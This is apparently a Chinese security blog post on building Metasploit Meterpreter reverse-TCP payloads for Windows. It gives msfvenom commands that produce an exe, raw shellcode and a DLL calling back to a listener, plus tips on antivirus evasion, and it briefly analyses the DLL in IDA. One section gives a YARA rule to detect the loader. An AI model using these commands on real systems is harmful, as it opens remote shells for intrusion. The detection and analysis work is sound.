方案一:
直接使用msfvenom生成exe的反弹shell会被杀软直接拦截,可用性不高。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.182.61.116 lport=8899 -f exe -o re_shell.exe
01.png
防御
运行生成的re_shell.exe,查看流量,并编写Yara规则(Snort规则同理),此处提取的是meterpreter_loader的特征(https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/payload/windows/meterpreter_loader.rb)。
08.pngYARA规则如下:
rule Meterpreter_Reverse_Tcp :RAT{
meta:
description = "Detect Meterpreter Loader"
strings:
$hex_string = {4d 5a e8 00 00 00 00 5b 52 45 55 89 e5 81 c3 ?? ?? 00 00 ff d3 81 c3 ?? ?? 02 00 89 3b 53 6a 04 50 ff d0}
condition:
$hex_string
}
方案二:
直接生成shellcode,再视情况灵活使用。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.182.61.116 lport=8899 -f raw -o re_shell.bin
02.png
比如可以使用shellcodeLoader生成攻击文件,可以选择加载方式和反虚拟机选项 增加杀软查杀难度。
03.png方案三:
生成DLL文件,做DLL注入,DLL劫持等操作。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.182.61.116 lport=8899 -f dll -o re_shell.dll
使用IDA Pro打开生成的DLL文件,查看伪代码,创建了一个rundll32.exe
进程,然后去做注入。通过控制线程上下文的EIP去执行shellcode,shellcode保存在unk_10003000
。
将0x10003000
处的shellcode提取,发现其实就是msfvenom生成的shellcode,只不过套了个dll的壳罢了。
可以将此部分shellcode保存为二进制文件,使用工具scdbg分析此部分shellcode功能。可以看到此shellcode实际上是调用WSASocket实现的联网行为。
06.png也可以从MSF的shellcode生成源码中印证我们的判断。
07.png
网友评论